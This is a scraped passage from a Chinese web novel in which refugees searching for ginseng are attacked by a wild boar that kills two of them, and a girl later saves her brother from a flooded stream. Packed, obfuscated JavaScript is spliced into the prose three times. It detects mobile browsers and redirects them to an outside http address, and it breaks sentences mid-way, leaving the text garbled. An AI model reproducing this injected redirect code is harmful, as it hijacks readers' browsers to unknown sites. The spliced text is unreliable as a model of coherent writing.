那边就明天找人参一事讨论的火热,江夏并没有选择参与进去,而是坐在一旁,仔细摸着那根人参。 人参上辈子她也吃过,因为长期熬夜,加上缺乏运动,导致她气血不足,去看中医,医生给她开的药方里就有人参。 可那人参不过薄薄几片,还都是人工种植的,哪比得上这野生的,还是自己亲手挖出来的。 江夏越看越满意,觉得它哪哪都好,从背篓里拿出纸笔,认认真真将它一点点画在纸上。 这次她没用竹片了,而是选择用纸。纸的存量很少,平时她很少拿出来用。这次主要很幸运挖到人参,对于这么重要的事情,得用纸,竹片太小,不足以完整呈现这株人参的“完美”。 她不仅仔细将人参的根茎叶全画了下来,还在一旁写了一段注解,将她何时何地发现的,一并交代清楚。 “阿姐,你怎么写这样详细啊?”江诚不解,之前阿姐明明只是将植物画下来而已,也没见她写这么多字啊。 “之前的和它哪能比。这可是人参,之前的可能就是些野菜野草罢了,我们都不认识,自然想写也没得写啊。” 江诚还是不太理解,名字不知道,可何时何地也可以写啊?不过看着自己阿姐那兴奋的表情,江诚选择闭嘴不问。 画完了画,另一个问题就出现了。这人参该怎么放呢? 总不能直接扔背篓里吧。 这要弄坏了,她得心疼死。 想了想,她将自己存放首饰的匣子打开,将里面的几样首饰倒了出来,用一块帕子将人参仔细包好,放进去。 正好! 江夏拍拍手,很满意自己的聪明,至于那几样首饰,则直接用衣服包着放在竹箱最底层。 ----------------- 第二日一早,众人就爬起来,简单洗漱用过早食就背上背篓准备去找人参。 到了昨日江夏挖到人参的地方,周大再三告诫众人,一定要注意安全,两人一起,不能走太远,有事及时告知其他人。 他们一共十个人,两两一组,正好五组。 江夏和江诚一组,陈东陈青兄弟二人一组,林氏带着子安,周二、李木一组,刘老三因为胆小,平时基本都是呆在营地里,这次他选择跟着最可靠的周大。 分好组,每组带了一截人参的枝叶,随即四散着分开。 江夏没有立刻就走,而是在昨天挖到的地方蹲下来,仔细观察着周围有什么不同。 只有找到人参生长的规律,才能有目的性的去找,不然在这茫茫大山中,不异于大海捞针。 她发现这人参周围树木高大,杂草茂密,地上落着厚厚一层的落叶。 想来这人参应该是喜阴的植物? 有了这个想法,江夏就带着江诚往林子里草木茂盛的地方走去,毕竟人参这东西应该不会扎堆出现,这里有了一株,应该不会再有了。 其他人也都是这个想法,认为这里出现了一株,就不太可能再出现第二棵,因此都是以昨天的人参为圆心,半径一百米左右,向着四周寻找着。 而那边,陈东陈青却发生不同分歧。陈东觉得人参这么珍贵的药材不可能离的很近,想往更远处去寻找,而陈青却认为,应该听周大的话,不要离大家太远。 陈青是堂兄,虽只比陈东大一岁,但性格却很是沉稳。话少但做事细心,平时总是默默跟在队伍后面。 反观陈东,性格就比较跳脱,不过本身就是十七岁的少年,有些少年心性也很正常。 在大山里生活了两个月,他也跟着周大、周二打过几次猎,兔子、野鸡之类比较小的猎物,不说次次猎到吧,但十次里也能猎到个五六次,就是像鹿这样比较大,比较灵活的猎物也猎到过两次。 但是危险的猛兽却并没有遇见过。之前在芦苇荡那次,周大周二虽说有狼,但狼毕竟没有攻击他们,而且当时周大他们是在狼群走后才将他们叫醒,他也没看见。 久而久之,他对于这十万大山的畏惧感在逐渐消散,觉得是老人吓唬他们的,哪有那么可怕。 再加上昨日江夏挖到人参给他带来的冲击,一时间让他觉得这十万大山分明是一座宝山啊! 因此对于周大的谨慎有些不以为意,“这大山里也没见什么危险的猛兽啊,那些畜生怕人,说不定听到我们的声音早就跑走了。” 可陈青却不这样认为,他始终坚信,老人的顾及和周大他的告诫都是有原因的,对于这大山还是应该谨慎一些。 “这人参也不是非要挖到,能挖到自然是好的,但要是挖不到就算了,最重要的还是安全。” “可是大哥,我咱俩这一路净跟在大家身后打打杂,啥事也没做成。 周大哥他们就不说了,平时里最忙的就是他们。李木也经常跟在周二哥身后忙前忙后,探路打猎都少不了他。刘老三胆子小,但也是每天负责我们这些人的伙食。就是江夏那小姑娘,聪明有脑子,好几次都是她立大功。 而我们俩呢,平日里就没啥贡献,也就捡捡柴,生生火这种小孩都能做到的事,你就不想好好立一次功,让大家对我们刮目相看。” 陈青的嘴皮子没有陈东利索,说不过他,想要拉住他又拉不住,只能跟着他往更远处走去。 可直到快中午时,周大清点人数时,发现他们俩竟然还没有回来。 “你们有谁看到他俩吗?” 大家面面相觑,摇摇头。子安忽然开口,说他见过。 他就是个耐不住性子的,刚开始还很是兴奋,想要像江夏一样找到个大人参,可看着都差不多的叶子,没一会儿就失去耐心了,四处眺望着别人,想看看有没有人挖到,这才让他看到陈东陈青他们往更南边走去。 大家立刻就想明白他们的意图,“可能是觉得这里不太可能会有,想去远点的地方碰碰运气。” “我估计啊,就是陈东那小子的主意。”周二说,“那小子,胆子越来越大了,等找到他,我一定好好揍他一顿。” “这么久都没回来,”刘老三惊呼一声,“不会真给他们找到了吧。” 他们八个人在这里忙活一上午,一个人参都没有找到,倒是找到一窝草鸡蛋。 “走,去找找他们。” 大伙儿顺着子安指的方向走去,边走边大喊他俩的名字。他们越走越远,却依旧没有听到他们的回应,众人心里都开始有些打鼓。 他俩是走哪里去了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770221|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今天的雨虽然比起前几天是小了些,但也还是在下,林中依旧水汽氤氲,难辨方向。 在他们又一次高喊陈东陈青他们的名字时,隐隐听到山林中似乎有枯枝落叶被刨动和踩断的声音,众人一喜,朝着声音的方向跑去。 穿过一片半人高的灌木丛,却看到一头体型硕大的带崽野猪暴躁地用后蹄刨动着地面,眼睛紧紧盯着它对面。它对面站着的正是他们寻找的陈东。 此刻他站在半山腰上,双股颤颤。而陈青则浑身是血的倒在一旁,生死不知。 看到周大他们,陈东顿时哭了出来,“周大哥!救救我!我……我堂哥他……” “先别说话!”周大立刻想要制止他,但却晚了…… 那野猪一下子看到这么多人,本就处于暴怒状态的它,听到陈东的哭喊声,猛地爆发出一阵令人头皮发麻的嘶吼声,朝着他冲去。 陈东只看见那森白的獠牙在面前一闪而过,接着就感受到一股恐怖的巨力狠狠砸在自己的右腿。 “咔嚓!” 一声令人头皮发麻的沉闷骨裂声清晰地响起,众人看到,陈东整个人如同破麻袋一般被撞得凌空飞起,紧接着翻滚着砸进旁边茂密的灌木丛中,压倒一片树枝。 鲜血从他口腔、鼻腔和断裂的腿部汩汩地往外流。 野猪一击得手,调转方向,将染血的獠牙冲着被眼前一幕惊呆了众人。鼻孔里喷着粗气,喉咙里不住的发出充满警告意味的低吼声,后蹄焦躁地刨着地面,显然是准备随时发动进攻。 周大率先反应过来,压低声音对着其他人说:“都靠过来,我们这么多人,它不敢直接冲过来的。慢慢往后退。” 刘老三紧紧贴着周大,努力蜷缩起自己,丝毫不敢抬头去看那头发狂的野猪。 不止是他,其他人也都吓得大气也不敢出,江夏攥住江诚的手,将他拉到自己身边。 而林氏转头想要去拽子安,却看到他已经被眼前的一幕吓傻了,呆愣在原地,一股尿骚味从他的裤腿那里传出来。 野猪那小眼睛瞬间锁定了他,一声咆哮,后蹄深深陷入泥泞的地面,刨起大片的腐叶和黑泥,庞大的身躯带着一股令人绝望的腥风,轰然冲着僵立在原地的子安撞来。 “子安——!”林氏尖叫着想要上前,被周大拉住。 而周大周二同时朝着子安的方向跑去,周大一把将子安推到周二身边,同时身体拼命向着侧面扭动,躲开了野猪正面袭来的攻击,但腰侧还是被狠狠撞了一下,踉跄的往后退了几步。 周二接过子安,将他往后推到林氏身边,又反手扶住周大,慢慢往回退。 那野猪一击不中,回身又怒吼着朝着他们撞来。 周二抬腿用力踹了它一脚,李木也上前帮忙,一棍子狠狠砸在它脑袋上,让它产生片刻的停顿。 江夏趁机在树上大喊:“快上树!” 原来刚才看到野猪伤人时,江夏第一时间就在找周围比较高大粗壮的大树。 等到周大他们上前去救子安时,她就赶紧让其他人往树上爬。 周大他们是爬树的好手,听到江夏的话,三两下就找了棵粗壮的树爬了上去。 那野猪被他们接二连三的行为激怒,围着周二他们的树不停的撞击着。 “砰——砰——砰——!” 撞击声不断响起,呆在树上的三人紧盯着下面那头野猪。两三百斤的重量撞在树上,让他们不住的随着树晃荡,随时可能会掉下去。 “大哥现在该怎么办?这带崽子的野猪很凶的,照这样撞下去,这树估计也撑不了多久啊!” 也不知陈东他们怎么惹到这头野猪的,还恰好惹了头带崽的野猪。 28. 祸不单行 在他们猎户中常说一句话,就是“一猪二熊三老虎”,意思就是野猪比熊和老虎还要危险。因为野猪性情凶悍,遇到危险时不会像老虎那样退缩,反而会猛烈进攻。 冰冷的雨点砸在树叶上,噼啪作响。 树下,那头被激怒的野猪正疯狂地用獠牙和厚重的肩胛撞击着树干,每一次撞击都让整棵树剧烈地摇晃。树上三人身体随着震动起伏不定,掌心全是湿滑的冷汗。 周大抹一把脸上的雨水,雨下得越来越大了。 “这野猪身上的‘挂甲’太厚,我们的武器很难伤它,现在又有雨,不然还能点火驱赶它。现在,要么等它撞累了自个儿走,要么……” 可这野猪估计是真的被惹怒了,撞了半刻钟也没停下。脚下的树在野猪又一次狂暴的冲击下,发出不堪重负的嘎吱声。 “要么……就在树被撞断前,跳到其他树上。” 李木比起周家兄弟,要更瘦小些,行动也更为灵活,听到周大的话,他抱着树干站起身,“我试试看。” 估算了最近的落脚点,不过半丈远,对他来说不算太难。 他深吸一口气,趁着野猪再次后退蓄力的短暂间隙,猛地从树干上站直身体。屏住呼吸,躬身,双腿用力一蹬,整个人像一支离弦的箭,划破雨幕,稳稳地落在了对面树上! “呼——成了!”李木转过身,紧紧抓住新树的枝干,笑着朝他们招招手,示意他们安全,可以跳。 周二见状,也毫不犹豫地学着李木的样子起身、瞄准、发力!虽不如李木那般轻盈,但动作也干净利落,同样有惊无险地落在了李木身旁,溅起一片水花。 轮到周大了。 他忍着腰侧的钝痛,慢慢蹲下。可就在他猛然蹬腿发力的瞬间,腰侧传来撕裂般的剧痛,力量顿时泄了大半。 “大哥!”周二惊骇地大叫,连忙伸手去拉他,因为下雨,导致枝干有些打滑,两人一起掉了下去,正好掉到了野猪面前。 二人掉下的声音惊动了野猪,看到他们掉了下来,鼻孔里喷出股气,朝着两人撞了过来。 周大周二有片刻的愣神,随即清醒过来,常年合作,他们立刻摆好抵御架势,配合默契。 野猪冲过来,周大拧腰侧身躲过攻势,拿起手中的砍刀用力砍在野猪的后脖子。 鲜血顿时迸溅而出,野猪却像根本感觉不到疼痛,反而被激发了凶性。 周二则趁着野猪被周大吸引了注意力,悄悄绕到侧面出击,找准时机,将手中的剑扎进野猪的眼睛中。 野猪吃痛,疯狂的摆动自己的身体,周二想要后退躲过发疯的野猪,可泥地湿滑加上野猪的挣扎变得泥泞不堪,一脚踩空,重重地摔在地上。 野猪森白锋利的獠牙就在他面前,死亡的气息扑面而来! 周大从侧面飞扑过来,一把抱住周二,獠牙撞在他的后背。 更糟糕的是,这处是一个半山坡,野猪冲撞的力道将两人齐齐从山坡上撞了下去。二人顺着湿滑陡峭的山坡翻滚着,一路摔跌下去,眨眼消失在山坡底下。 树上,目睹整个过程的林氏,只觉得大脑一片空白,整个人如同被冻住般僵立在树上,尖叫声堵在喉咙,却怎么也叫不出。 其他人也全都惊呆了,连呼吸都忘记了,眼睁睁看着周家兄弟被撞下山坡。 “快!快下去救人!”短暂的死寂后,李木率先反应过来,声音嘶哑地吼道,就要往树下爬。 其他人也如梦初醒,手忙脚乱地准备下树。 可他们刚下到一半,一阵密集而急促的“哼唧”声伴随着沉重的奔跑声由远及近。 只见山坡上方竟又跑下来五六只野猪! 这群野猪围到那只野猪身边,尾巴不安的甩动着,同时不停的用鼻子拱着它,发出焦躁的低鸣。 “这……这怎么有这么多的野猪……”林氏望着周大周二消失的山坡,又看看树下聚集的野猪群,巨大的的绝望如同冰冷的洪水将她淹没,声音颤抖的不成样子,“怎么办……” 然而,令人意外的是,先前那头野猪与同伴交流后,就像得到什么信息一样,迅速跑回自己孩子身边,然后跟着野猪群头也不回的走了。 “……走、走了?”刘老三颤抖的声音中带着些难以置信。 确认野猪群确实离开后,树上的人这才连滚带爬地滑下树。脚一沾地,林氏就要不管不顾地往周大他们摔下去的山坡上跳下去,被李木眼疾手快地拉住。 “大嫂,你先别着急,你现在跳下去也没用啊。这坡太陡太滑,你这么冲下去,不但救不了人,你自己也得搭进去!冷静些,大哥二哥他们是老猎户了,在山里比我们懂得多,他们肯定有办法活下来的,咱们现在不能乱!” 说完,转头对着江夏说道:“小夏,你先带着大嫂和子安,沿着缓坡往下走,说不定大哥他们就在下面等着我们呢。” 不会有事吗? 林氏被李木的话喊得稍微回了点神,但巨大的恐慌依然让她手脚冰冷,六神无主。怀里儿子子安被刚才的惊吓和父亲的失踪吓得嚎啕大哭,不停地喊着“爹!”,更是让她头脑一片混沌。 “周大婶,听李木哥的!这里太危险了,谁知道那些野猪还会不会回来?”江夏也强压内心的恐惧,声音尽量平稳,扶住林氏发软的身体,“我们先离开这里,跟着我走,好吗?” 林氏此刻完全失去了思考的能力,儿子的哭声和江夏、李木的话成了她唯一能抓住的浮木。她眼神空洞,只是本能的抱紧了哭泣的子安,任由江夏半扶半拉着,跌跌撞撞地跟着往山下走去。 李木和刘老三则迅速跑到之前被野猪撞晕的陈东、陈青身边,蹲下身,颤抖着将手指探到他们鼻下。 “有气!还活着!” 两人长长地吁了口气,悬着的心稍稍放下一点。他们不敢耽误,各自背起一个昏迷的人,沿着江夏她们离开的方向跟了上去。 俗话说,上山容易下山难。这座山坡坡度大,加上雨中山路难走,很容易发生刹不住车,滚下山。 她们找地势较为平坦的地方往下跑,还要时刻留心周围。 周大他们是从山上滚落山坳,所经过的地方必然草倒树折,留下显眼的痕迹,这样才不会找错地方。 唯一令人担心的就是害怕他们滚落时,眼睛会被树枝划到,脑袋会撞到石头…… 她们一路飞奔,心都提到嗓子眼了,一点时间不敢耽误,前后花费不超过十分钟,终于,她们在前方看见了人影。 只见周二抱着周大,瘫坐在地上,旁边还掉落了他们随身携带的金疮药的空药瓶…… “大嫂……” 看到林氏她们赶来,周二抬起头,双眼通红,声音嘶哑哽咽。 这个平日里爽朗乐观的的高大汉子,此刻脸上写满了无助与绝望,像个茫然失措的孩子一样看着林氏。 林氏的心猛地一沉,脚步踉跄着慢慢挪近。 周大双眼紧闭,脸色惨白如纸,额头脸颊上都是擦伤,而周二托在他后脑勺下方的手以及袖口,都已经被大片粘稠的鲜血浸染,此刻还在不停顺着周二的手臂,一滴一滴沉重地砸落在地上。 林氏颤抖得几乎站不住,双腿一软,扑跪在周大身边,冰凉的手指轻轻摸上他的脸,“周大……” “大嫂……大哥……大哥是为了护着我……他一直死死抱着我,把我……把我护在上面……那血怎么也止不住……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼下除了周二,也确实没有人可以背动高大魁梧的周大。江夏只能点点头,拉着两个小的快步走在前面。 终于挣扎着回到之前挖人参的那片相对熟悉的地方时,背着伤员的几人——周二、背着陈青的刘老三、背着陈东的李木都已经到了极限。 他们各个面色如土,胸膛剧烈起伏,发出像破风箱般的粗重喘息。 刘老三最先支撑不住,踉跄着靠在一棵大树上,大口喘着粗气。 突然,他喘着的粗气像是被什么堵在他喉咙里,整个人大张着嘴僵住,停了几秒钟,颤抖着声音喊道:“小……小夏!快……快来看看,陈青……陈青他……他好像……没、没气了?” 刚才他还能感受到,背上陈青那微弱的如同游丝的气息拂过自己的脖颈,可现在……他好像感觉不到了…… 江夏跑到刘老三的身边,伸手在陈青的鼻尖一探,又将手摸到他的脖颈处,摸了摸他颈侧的脉搏。 一片冰冷死寂! 江夏的手却像是被什么烫到一般,猛地缩回。 她抬起头看着刘老三,嘴唇哆嗦着,想说些什么,可却什么也说不出来。 看到她这样子,谁还能不知道发生了什么,刘老三背着陈青的手,不住的在他的大腿处拍打着。 “陈青,你给我醒过来!不准死,我们逃了这么久,你不能就这样死了啊!” 这时,一直趴在李木背上昏迷的陈东,眼皮剧烈地颤动了几下,缓缓睁开。他虚弱地动了动嘴唇,发出微弱的声音,“我哥……怎么了……” 注:挂甲:指野猪在泥地里打滚,身上沾了厚厚的,类似于盔甲的泥土。 29. 团队离心 “陈东……你堂哥他……” 刘老三喉咙滚动了几下,却怎么也吐不出那个“死”字。他只能别过脸,避开陈东逐渐灰败的眼神。 沉默的气氛如同这林中不断的雨帘一般,将众人笼罩在其中。 “都是我的错,都是我!咳咳咳!……” 陈东说着,突然剧烈的咳嗽起来,像是要把肺都咳出来。他挣扎着从李木背上下来,拖着自己被撞断掉的腿,爬到陈青身边。 陈青的体温在逐渐降低,陈东的眼泪瞬间决堤,大颗大颗的眼泪砸在陈青的衣襟上。 “我不该不听他的话……咳咳!不该跑这么远的……是我害了他……” 李木笨拙地拍了拍他的背,声音干涩,“陈东,别这样……你也伤得不轻,陈青要是看到你这样,他……” 话说到一半,他自己也说不下去。这种安慰,连他自己都觉得苍白无力。 陈东现在什么都听不进去,完全陷入自己内疚的情绪中无法自拔。 李木叹了口气,转头对着周二低声道:“二哥,你先带大哥回去治伤,我和刘老三留在这里陪着他……” 周二沉默地点点头,目光扫过瘫坐在地、魂不守舍的陈东,最终什么也没说,只是闭了闭眼,转身大步朝山洞方向跑去。 ----------------- 山洞里,潮湿的空气中混杂着血腥味和土腥气。 江夏吩咐江诚从洞口接雨水的木盆里装了一陶罐的雨水,又2吩咐子安去生火。火堆很快生起,将陶罐架上去,水汽蒸腾。 自己则将昨天挖到的人参拿了出来,切了一片放进周大口中,又切下一片递给周二。 “周二叔,你也含一片。” 周二没有推辞,现在也不是客气的时候,沉默接过,放进自己嘴里。 江夏从自己的竹箱里翻出一条手帕,扔进沸水里滚煮。待帕子煮透,用树枝捞起放凉,用它将伤口周围的泥土和腐叶擦去,再撒上药粉。 等到包扎伤口时,林氏从自己随身带着的包袱里拿出一件细棉衣,那是她压箱底的衣服,之前都是逢年过节,走亲访友才会穿的,逃难后却再也没有机会穿了。此刻她毫不犹豫地撕下一长条递给江夏。 处理好周大后脑勺的伤,将他的上衣解开,才看到他后背那被野猪獠牙贯穿的伤口。 那伤正好伤在他的左肩胛骨下缘,但万幸的是没有伤到心脏。否则一击致命,都等不到他们去施救。 除了这道狰狞的伤外,还有许多他从山上滚落时,被撞出的青紫。 林氏刚停住的哭泣,又开始了。 江夏看着周大身上的伤,心不断的往下坠,一股不好的念头涌上来。 可看着林氏悲戚的样子,只能在心中默默祈祷一切平安。 天将黑时,李木他们背着陈东回来。三人浑身是泥,眼眶通红,却谁也没提他们做了什么,也没人再提起陈青…… 江夏将处理伤口的东西,伤药和人参片递给李木,让他们帮陈东处理一下他的伤口。 陈东同样伤的不轻,加上长时间淋雨,此刻人已经发起了低烧,嘴里不停的说着对不起。 李木他们心中一阵酸涩,朝夕相处两个月的朋友,今早还在有说有笑,可到了下午却被他们亲手埋葬… 将三个伤患处理好,江夏的伤药也所剩无几了。 这药还是之前她受伤时,江诚当了自己的长命锁给她买来的,在她伤口开始结痂后,她就舍不得再用了,那时还剩下将近一半。 江夏盯着手中那空了的药瓶,指尖无意识地摩挲着瓶身。 “阿姐……”江诚悄悄靠过来,温热的体温透过布料传过来。江夏将他散落的头发别到耳后,触手却是一片潮湿的冷汗。 “饿了吗?”江夏轻声问他。 现在已经该吃晚食了,可却没有人提起晚饭的事。 江诚摇摇头,“阿姐,周大叔他们……会有事吗?” 看着江诚黑白分明的眼中盛满不安,江夏想要说些安慰他的话,可最终什么都说不出口,只能安抚性地摸了摸他的头。 洞外暴雨倾盆,密集的雨点砸在树叶上,发出噼啪的脆响。这声音在寂静的夜里格外清晰,每一声都像敲在人的心上。 稍微有点医学常识都知道,在这样的环境下,这样严重的伤势意味着什么。 她当时受伤能活下来已是万幸,四月末五月初的西北,天气干燥且还不算热,而且她是剑伤,伤口并没有受到太多感染。 可他们不同,越往南走,天气越是闷热,潮湿闷热的环境,加上他们是被野猪所伤…… 李木让林氏和周二歇会儿,说他和刘老三守夜,看着周大二人。可情况一时不好转,林氏和周二都睡不着。 而子安这一天又惊又怕,很早就睡着了,鼻子还一抽一抽的。 江诚跟着熬了半宿,最终也没熬住,靠在江夏身边沉沉睡了过去。 夜里,不仅陈东的热没退下去,连周大都起了热,烧得满脸通红,气息却越来越弱。 林氏不停地拧着湿帕子,一遍遍擦拭着周大滚烫的额头。可打湿的布巾刚放上去就变得温热,她抖着手又浸入冷水中,指节被泡得发白起皱。 “这不行……这不行啊!”林氏突然出声,声音干涩沙哑,“下山!我们马上下山找大夫!” 说完将帕子扔进水盆里,试图背起周大。 周二和李木上前想要拦住她,“大嫂,外面暴雨——” 却被歇斯底里的林氏在手臂上划出数道血痕,“我不管!周二,你大哥是为救你才受伤的,你怎么能眼睁睁看着他死?!” 周二顿时一愣,面色惨白地后退一步。 他们的争执声吵醒了江诚和子安。 “娘!”子安跑到林氏身边。 林氏握住他的肩膀,直直看着他,“子安,快收拾东西!我们下山找大夫救你爹!” 其他人见林氏仿佛魔怔一般,不管不顾,只想着下山,只能依着她,收拾东西准备下山。 可东西还没有收好,就听到远处山谷传来类似火车的轰鸣声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788055|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这什么声音?!” “地滑……”周二喃喃道。 像是为了印证他的话,远处传来树木断裂的脆响,混着泥石流轰隆的奔涌声。 江夏心想,“怪不得那群野猪会突然跑走,想来它们是感知到,这才急忙逃命去了……” 山洪奔流的呜咽声在峡谷中回荡,像是一曲送葬的哀乐。 林氏僵立在原地,缓缓松开抓着子安的手,整个人如同泄了气的气球,重重跌坐在地上。 看着林氏失魂落魄的样子,江夏想要走过去安慰她,可还没等她行动,林氏突然扑到她面前,双手死死拽住她的衣角。 她仰着一张泪痕斑驳的脸,嘴唇颤抖着,声音嘶哑的像是被砂纸磨过一般,“小夏!婶娘求求你……求你救救你周大叔吧!我给你跪下了!” 话音未落,她竟真的“扑通”一声跪在江夏面前。 江夏被她突如其来的举动吓得倒退半步,反应过来,伸手去扶她起来,“周大婶,你快起来!不是我不救,我不是大夫,我、我怎么救啊?” 可林氏就像生了根似的,死死跪着不肯起身。她仰着头看着她,眼神里混杂着绝望和近乎疯狂的希冀。 “你之前伤得那么重,不也活过来了吗?你还说,是、是神仙救了你!你给我们展示过的!小夏,婶娘求求你,你再求求神仙,救救他吧!他要是死了,我们娘俩怎么活啊?!” 她的声音越说越尖,最后几乎成了凄厉的哀嚎,在潮湿的山洞里回荡。 江夏看着在自己面前痛哭流涕的林氏,胸口一阵发闷,她无措地站在那里不敢动。 “小夏……”周二拖着受伤的手臂走到她面前,“你真的……一点办法都没有了吗?” 江夏张了张嘴,最终也只能艰难地摇摇头。 林氏的表情瞬间扭曲,猛地松开她的衣角,疯了一般朝她撞去。 “你撒谎!你不是能看见神仙吗?你为什么不肯救他?如果不是他……如果不是他拼死护着你们姐弟俩,你们早死在大北牛山里了!你怎么能这么狠心?!啊?!” 江夏被她撞得踉跄后退,后背狠狠撞在山洞的石壁上,一阵生疼。 江诚跑来想要扶住她,却被她轻轻推开。她死死咬住自己的下嘴唇,任由林氏巴掌和拳头如雨点般落在自己身上。 她也希望自己是真的能看见神仙,希望自己能像那些传奇话本里的主角一般,随手就能掏出灵丹妙药,救人性命。 可她不是。 她没有神仙相助,没有灵丹妙药,除了画画,她什么都做不到…… 她当初编出“神仙托梦”的谎话,只是借着原主的给人留下的印象,给自己一个正大光明恢复本名的理由。 她哪能想到有朝一日,这个谎言会变成压垮别人的希望,变成刺向自己的刀? 可这世上,哪有什么“早知道”…… …… 天色微明,林氏木然地坐在地上,眼睛肿得像核桃,却一滴泪都流不下来。眼中的疯狂渐渐褪去,取而代之的是死灰般的绝望…… 30. 无情之人 雨水冲刷着新垒的坟茔,林氏跪坐在墓前,指尖死死扣住那片画着周大素描的竹片。 墨色线条被雨水浸湿,渐渐晕开,他的面容模糊成一片。 她想哭,可喉咙里只挤出几声嘶哑的呜咽,像是连悲痛都被抽干了。 山洞里,篝火微弱地跳动,映照着众人沉默的脸。一向乐观的周二靠在石壁上,眼神空洞,再也没了往日的谈笑。 李木和刘老三交换了个眼神,终究没敢出声。 整个队伍沉寂得可怕,只有那大雨还在下,就像是天破了个洞,不管不顾的宣泄着无尽的哀伤。 这场雨下了整整两天,直到第三日,阳光才刺破云层。 天空乍晴,气温却一下子升高,可队伍里的寒意却仍未散去。 众人收拾好行装,又默默分担了周大他们留下的物件。临行前,他们回头望了一眼埋葬了三人的山林,最终转身,踏上未知的前路。 ----------------- 一路上,林氏始终低着头,除了子安,她不再与任何人说话,甚至连目光都刻意避开。 队伍里只有江夏和林氏两个女子,先前她们相处融洽。江夏感激周大兄弟的照顾,对林氏多有亲近,林氏也待她温和。可如今,林氏的态度骤然冷淡,甚至带着若有若无的排斥。 江夏告诉自己,林氏丧夫之痛未消,情绪低落是难免的。可每当她试图靠近,林氏要么转身避开,要么沉默以对。 而且不知道是不是她的错觉,她有时会感受到一道冰冷的目光落在自己身上,可等她回头,却又没有发现人。 受到疏远的不止江夏,江诚同样感受到来自子安的排斥。 江诚和子安年纪相仿,两个孩子原本玩得很好,可现在子安不知是听了林氏的话,还是怎的,也开始疏远江诚了。 走了没一会儿,就看到前方空旷,许多粗壮的树木被连根拔起,横七竖八地躺在地上。同时灌木倒伏一片,被泥浆掩埋,泥浆中还夹杂着大小不一的石块。 而他们前进方向被因泥沙土石阻挡而改道的溪流截断。原本清澈的小溪,如今也因为大量的泥沙和杂物,变得浑浊不堪。堆积物的阻挡和多日暴雨,水位迅速上升,水流湍急。 众人只能沿着暴涨的溪流行进,溪水混浊湍急,溪旁的泥土松软湿滑,走在上面稍不留神就会摔倒。 李木走在最前方,手里握着一根木棍,不断试探着水位的高低和前方的地面。 江夏和江诚紧跟在他身后,踩着他的小心翼翼地挪动着脚步,生怕一不小心就掉进湍急的水中。 突然,江诚脚下一滑,他本能地伸手想要抓住什么,却感到背后传来一股强大的推力,瞬间失去平衡,掉入湍急的溪水中。 “阿诚!”江夏回头就看到江诚掉入水中的身影。 湍急的水流裹挟着他向下游冲去,他拼命挣扎,呼救声刚说出口,就被溪水截断。 不善水性的他,又接连被水中的石头树枝撞击,一口混浊的溪水灌入肺中,火烧般的疼痛在胸腔中炸开,让他眼前一黑。 “我要死了吗?”江诚迷迷糊糊地想,原来死亡是这么可怕的一件事。 “阿诚!别怕!” 耳边响起江夏的声音,他迷迷糊糊看到自己阿姐正冲着自己游过来。 阿姐什么时候学会游泳了? 可没等他细想,又一阵水流冲来,混着泥沙的水灌入他的口鼻,将他淹没。 看着江诚快要消失在自己眼前,江夏也管不了太多,深吸一口气,一个猛子扎下去,朝着江诚快速游去。 碰到江诚身体的时候,一手环住他的胸膛,将他拖到水面上,一手奋力滑动水面,想要朝着岸边游去。 她会游泳,水性还不错,可却低估了水流的湍急。 现在的这具身体只有十三岁,根本无法在湍急的溪水中将另一个人拖上岸。 江夏拖着江诚在水中起起伏伏,呛了好几口水,感觉自己的力量在快速消耗。环顾四周,看到一棵被冲倒的大树横亘在水中,粗壮的树干半浸在水中。 江夏眼疾手快。一把抓住上面的树枝,将自己和江城固定住。整个人却也顺着水流的冲击狠狠撞了上去。 调整方向,朝着那树游去,江夏眼疾手快,一把抓住突出的树干,可强大的水流冲击,让她整个人狠狠撞在树干上,发出一声闷哼。 顾不得身上传来的疼痛,转头去看江诚。江诚双眼紧闭,侧头贴近他的口鼻,发现气息还算平稳,江夏的心也放了回去。 “小夏,快抓住!”岸边李木不知从哪里找来一根长树枝,冲着她伸来。 江夏精神一振,将江诚两只手都搭在树上,然后伸长自己的手臂去够那树枝。 可还没等她够到,又一阵急流冲来,固定自己的那只手开始打滑,差点就再次被冲走。 李木又将树枝往前递了递,这次江夏抓住了,右手拽住树枝,左手拖住江诚的脑袋,被李木他们合力拖上了岸。 江夏瘫倒在泥泞的岸边,剧烈咳嗽着,吐出一口口溪水。 然后跪在江诚身边,将他脑袋摆正,抬高下巴,确定没有异物堵塞后,双手交握,掌根在他胸口用力按压,又捏住他的鼻子往他嘴里渡了一口气。 反复几次后,江诚突然剧烈的咳嗽起来。 “咳!咳咳——”一口清水顺着他的嘴角往外流。 江夏立刻将他翻过来,让他趴在自己膝盖上,用力拍打他的背部。更多混浊的液体从江诚口鼻中涌出,溅在泥泞的地面上。 “阿姐……” “别怕,阿姐在。怎么样?还难受吗?” 